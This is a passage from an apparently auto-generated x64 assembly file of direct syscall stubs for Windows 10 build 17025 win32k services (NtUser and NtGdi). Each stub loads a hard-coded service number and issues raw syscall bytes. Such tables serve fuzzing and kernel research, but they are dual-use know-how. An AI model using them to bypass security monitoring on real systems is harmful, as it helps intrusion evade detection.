mov eax , 4255
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateDIBitmapInternal ENDP
; ULONG64 __stdcall NtUserOpenWindowStation( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserOpenWindowStation PROC STDCALL
mov r10 , rcx
mov eax , 4256
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserOpenWindowStation ENDP
; ULONG64 __stdcall NtUserSetCursorIconData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetCursorIconData PROC STDCALL
mov r10 , rcx
mov eax , 4257
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetCursorIconData ENDP
; ULONG64 __stdcall NtUserCloseDesktop( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCloseDesktop PROC STDCALL
mov r10 , rcx
mov eax , 4258
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCloseDesktop ENDP
; ULONG64 __stdcall NtUserOpenDesktop( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserOpenDesktop PROC STDCALL
mov r10 , rcx
mov eax , 4259
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserOpenDesktop ENDP
; ULONG64 __stdcall NtUserSetProcessWindowStation( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetProcessWindowStation PROC STDCALL
mov r10 , rcx
mov eax , 4260
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetProcessWindowStation ENDP
; ULONG64 __stdcall NtUserGetAtomName( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetAtomName PROC STDCALL
mov r10 , rcx
mov eax , 4261
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetAtomName ENDP
; ULONG64 __stdcall NtGdiExtCreatePen( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiExtCreatePen PROC STDCALL
mov r10 , rcx
mov eax , 4262
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiExtCreatePen ENDP
; ULONG64 __stdcall NtGdiCreatePaletteInternal( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreatePaletteInternal PROC STDCALL
mov r10 , rcx
mov eax , 4263
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreatePaletteInternal ENDP
; ULONG64 __stdcall NtGdiSetBrushOrg( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetBrushOrg PROC STDCALL
mov r10 , rcx
mov eax , 4264
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetBrushOrg ENDP
; ULONG64 __stdcall NtUserBuildNameList( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserBuildNameList PROC STDCALL
mov r10 , rcx
mov eax , 4265
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserBuildNameList ENDP
; ULONG64 __stdcall NtGdiSetPixel( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetPixel PROC STDCALL
mov r10 , rcx
mov eax , 4266
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetPixel ENDP
; ULONG64 __stdcall NtUserRegisterClassExWOW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterClassExWOW PROC STDCALL
mov r10 , rcx
mov eax , 4267
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterClassExWOW ENDP
; ULONG64 __stdcall NtGdiCreatePatternBrushInternal( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreatePatternBrushInternal PROC STDCALL
mov r10 , rcx
mov eax , 4268
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreatePatternBrushInternal ENDP
; ULONG64 __stdcall NtUserGetAncestor( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetAncestor PROC STDCALL
mov r10 , rcx
mov eax , 4269
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetAncestor ENDP
; ULONG64 __stdcall NtGdiGetOutlineTextMetricsInternalW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetOutlineTextMetricsInternalW PROC STDCALL
mov r10 , rcx
mov eax , 4270
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetOutlineTextMetricsInternalW ENDP
; ULONG64 __stdcall NtGdiSetBitmapBits( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetBitmapBits PROC STDCALL
mov r10 , rcx
mov eax , 4271
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetBitmapBits ENDP
; ULONG64 __stdcall NtUserCloseWindowStation( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCloseWindowStation PROC STDCALL
mov r10 , rcx
mov eax , 4272
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCloseWindowStation ENDP
; ULONG64 __stdcall NtUserGetDoubleClickTime( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetDoubleClickTime PROC STDCALL
mov r10 , rcx
mov eax , 4273
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetDoubleClickTime ENDP
; ULONG64 __stdcall NtUserEnableScrollBar( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableScrollBar PROC STDCALL
mov r10 , rcx
mov eax , 4274
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableScrollBar ENDP
; ULONG64 __stdcall NtGdiCreateSolidBrush( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateSolidBrush PROC STDCALL
mov r10 , rcx
mov eax , 4275
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateSolidBrush ENDP
; ULONG64 __stdcall NtUserGetClassInfoEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetClassInfoEx PROC STDCALL
mov r10 , rcx
mov eax , 4276
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetClassInfoEx ENDP
; ULONG64 __stdcall NtGdiCreateClientObj( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateClientObj PROC STDCALL
mov r10 , rcx
mov eax , 4277
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateClientObj ENDP
; ULONG64 __stdcall NtUserUnregisterClass( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUnregisterClass PROC STDCALL
mov r10 , rcx
mov eax , 4278
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUnregisterClass ENDP
; ULONG64 __stdcall NtUserDeleteMenu( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDeleteMenu PROC STDCALL
mov r10 , rcx
mov eax , 4279
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDeleteMenu ENDP
; ULONG64 __stdcall NtGdiRectInRegion( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiRectInRegion PROC STDCALL
mov r10 , rcx
mov eax , 4280
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiRectInRegion ENDP
; ULONG64 __stdcall NtUserScrollWindowEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserScrollWindowEx PROC STDCALL
mov r10 , rcx
mov eax , 4281
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserScrollWindowEx ENDP
; ULONG64 __stdcall NtGdiGetPixel( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetPixel PROC STDCALL
mov r10 , rcx
mov eax , 4282
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetPixel ENDP
; ULONG64 __stdcall NtUserSetClassLong( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetClassLong PROC STDCALL
mov r10 , rcx
mov eax , 4283
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetClassLong ENDP
; ULONG64 __stdcall NtUserGetMenuBarInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetMenuBarInfo PROC STDCALL
mov r10 , rcx
mov eax , 4284
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetMenuBarInfo ENDP
; ULONG64 __stdcall NtGdiGetNearestPaletteIndex( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetNearestPaletteIndex PROC STDCALL
mov r10 , rcx
mov eax , 4285
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetNearestPaletteIndex ENDP
; ULONG64 __stdcall NtGdiGetCharWidthW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCharWidthW PROC STDCALL
mov r10 , rcx
mov eax , 4286
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCharWidthW ENDP
; ULONG64 __stdcall NtUserInvalidateRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInvalidateRgn PROC STDCALL
mov r10 , rcx
mov eax , 4287
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInvalidateRgn ENDP
; ULONG64 __stdcall NtUserGetClipboardOwner( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetClipboardOwner PROC STDCALL
mov r10 , rcx
mov eax , 4288
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetClipboardOwner ENDP
; ULONG64 __stdcall NtUserSetWindowRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowRgn PROC STDCALL
mov r10 , rcx
mov eax , 4289
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowRgn ENDP
; ULONG64 __stdcall NtUserBitBltSysBmp( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserBitBltSysBmp PROC STDCALL
mov r10 , rcx
mov eax , 4290
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserBitBltSysBmp ENDP
; ULONG64 __stdcall NtGdiGetCharWidthInfo( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCharWidthInfo PROC STDCALL
mov r10 , rcx
mov eax , 4291
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCharWidthInfo ENDP
; ULONG64 __stdcall NtUserValidateRect( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserValidateRect PROC STDCALL
mov r10 , rcx
mov eax , 4292
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserValidateRect ENDP
; ULONG64 __stdcall NtUserCloseClipboard( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCloseClipboard PROC STDCALL
mov r10 , rcx
mov eax , 4293
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCloseClipboard ENDP
; ULONG64 __stdcall NtUserOpenClipboard( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserOpenClipboard PROC STDCALL
mov r10 , rcx
mov eax , 4294
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserOpenClipboard ENDP
; ULONG64 __stdcall NtUserSetClipboardData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetClipboardData PROC STDCALL
mov r10 , rcx
mov eax , 4295
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetClipboardData ENDP
; ULONG64 __stdcall NtUserEnableMenuItem( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableMenuItem PROC STDCALL
mov r10 , rcx
mov eax , 4296
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableMenuItem ENDP
; ULONG64 __stdcall NtUserAlterWindowStyle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserAlterWindowStyle PROC STDCALL
mov r10 , rcx
mov eax , 4297
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserAlterWindowStyle ENDP
; ULONG64 __stdcall NtGdiFillRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFillRgn PROC STDCALL
mov r10 , rcx
mov eax , 4298
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFillRgn ENDP
; ULONG64 __stdcall NtUserGetWindowPlacement( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetWindowPlacement PROC STDCALL
mov r10 , rcx
mov eax , 4299
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetWindowPlacement ENDP
; ULONG64 __stdcall NtGdiModifyWorldTransform( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiModifyWorldTransform PROC STDCALL
mov r10 , rcx
mov eax , 4300
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiModifyWorldTransform ENDP
; ULONG64 __stdcall NtGdiGetFontData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetFontData PROC STDCALL
mov r10 , rcx
mov eax , 4301
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetFontData ENDP
; ULONG64 __stdcall NtUserGetOpenClipboardWindow( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetOpenClipboardWindow PROC STDCALL
mov r10 , rcx
mov eax , 4302
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetOpenClipboardWindow ENDP
; ULONG64 __stdcall NtUserSetThreadState( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetThreadState PROC STDCALL
mov r10 , rcx
mov eax , 4303
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetThreadState ENDP
; ULONG64 __stdcall NtGdiOpenDCW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiOpenDCW PROC STDCALL
mov r10 , rcx
mov eax , 4304
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiOpenDCW ENDP
; ULONG64 __stdcall NtUserTrackMouseEvent( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserTrackMouseEvent PROC STDCALL
mov r10 , rcx
mov eax , 4305
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserTrackMouseEvent ENDP
; ULONG64 __stdcall NtGdiGetTransform( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetTransform PROC STDCALL
mov r10 , rcx
mov eax , 4306
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetTransform ENDP
; ULONG64 __stdcall NtUserDestroyMenu( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDestroyMenu PROC STDCALL
mov r10 , rcx
mov eax , 4307
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDestroyMenu ENDP
; ULONG64 __stdcall NtGdiGetBitmapBits( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetBitmapBits PROC STDCALL
mov r10 , rcx
mov eax , 4308
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetBitmapBits ENDP
; ULONG64 __stdcall NtUserConsoleControl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserConsoleControl PROC STDCALL
mov r10 , rcx
mov eax , 4309
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserConsoleControl ENDP
; ULONG64 __stdcall NtUserSetActiveWindow( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetActiveWindow PROC STDCALL
mov r10 , rcx
mov eax , 4310
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetActiveWindow ENDP
; ULONG64 __stdcall NtUserSetInformationThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetInformationThread PROC STDCALL
mov r10 , rcx
mov eax , 4311
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetInformationThread ENDP
; ULONG64 __stdcall NtUserSetWindowPlacement( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowPlacement PROC STDCALL
mov r10 , rcx
mov eax , 4312
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowPlacement ENDP
; ULONG64 __stdcall NtUserGetControlColor( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetControlColor PROC STDCALL
mov r10 , rcx
mov eax , 4313
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetControlColor ENDP
; ULONG64 __stdcall NtGdiSetMetaRgn( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetMetaRgn PROC STDCALL
mov r10 , rcx
mov eax , 4314
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetMetaRgn ENDP
; ULONG64 __stdcall NtGdiSetMiterLimit( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetMiterLimit PROC STDCALL
mov r10 , rcx
mov eax , 4315
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetMiterLimit ENDP
; ULONG64 __stdcall NtGdiSetVirtualResolution( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetVirtualResolution PROC STDCALL
mov r10 , rcx
mov eax , 4316
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetVirtualResolution ENDP
; ULONG64 __stdcall NtGdiGetRasterizerCaps( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetRasterizerCaps PROC STDCALL
mov r10 , rcx
mov eax , 4317
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetRasterizerCaps ENDP
; ULONG64 __stdcall NtUserSetWindowWord( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowWord PROC STDCALL
mov r10 , rcx
mov eax , 4318
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowWord ENDP
; ULONG64 __stdcall NtUserGetClipboardFormatName( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetClipboardFormatName PROC STDCALL
mov r10 , rcx
mov eax , 4319
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetClipboardFormatName ENDP
; ULONG64 __stdcall NtUserRealInternalGetMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRealInternalGetMessage PROC STDCALL
mov r10 , rcx
mov eax , 4320
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRealInternalGetMessage ENDP
; ULONG64 __stdcall NtUserCreateLocalMemHandle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCreateLocalMemHandle PROC STDCALL
mov r10 , rcx
mov eax , 4321
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCreateLocalMemHandle ENDP
; ULONG64 __stdcall NtUserAttachThreadInput( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserAttachThreadInput PROC STDCALL
mov r10 , rcx
mov eax , 4322
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserAttachThreadInput ENDP
; ULONG64 __stdcall NtGdiCreateHalftonePalette( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateHalftonePalette PROC STDCALL
mov r10 , rcx
mov eax , 4323
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateHalftonePalette ENDP
; ULONG64 __stdcall NtUserPaintMenuBar( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPaintMenuBar PROC STDCALL
mov r10 , rcx
mov eax , 4324
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPaintMenuBar ENDP
; ULONG64 __stdcall NtUserSetKeyboardState( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetKeyboardState PROC STDCALL
mov r10 , rcx
mov eax , 4325
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetKeyboardState ENDP
; ULONG64 __stdcall NtGdiCombineTransform( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCombineTransform PROC STDCALL
mov r10 , rcx
mov eax , 4326
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCombineTransform ENDP
; ULONG64 __stdcall NtUserCreateAcceleratorTable( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCreateAcceleratorTable PROC STDCALL
mov r10 , rcx
mov eax , 4327
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCreateAcceleratorTable ENDP
; ULONG64 __stdcall NtUserGetCursorFrameInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetCursorFrameInfo PROC STDCALL
mov r10 , rcx
mov eax , 4328
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetCursorFrameInfo ENDP
; ULONG64 __stdcall NtUserGetAltTabInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetAltTabInfo PROC STDCALL
mov r10 , rcx
mov eax , 4329
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetAltTabInfo ENDP
; ULONG64 __stdcall NtUserGetCaretBlinkTime( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetCaretBlinkTime PROC STDCALL
mov r10 , rcx
mov eax , 4330
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetCaretBlinkTime ENDP
; ULONG64 __stdcall NtGdiQueryFontAssocInfo( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiQueryFontAssocInfo PROC STDCALL
mov r10 , rcx
mov eax , 4331
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiQueryFontAssocInfo ENDP
; ULONG64 __stdcall NtUserProcessConnect( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserProcessConnect PROC STDCALL
mov r10 , rcx
mov eax , 4332
;syscall
db 0Fh , 05h
ret
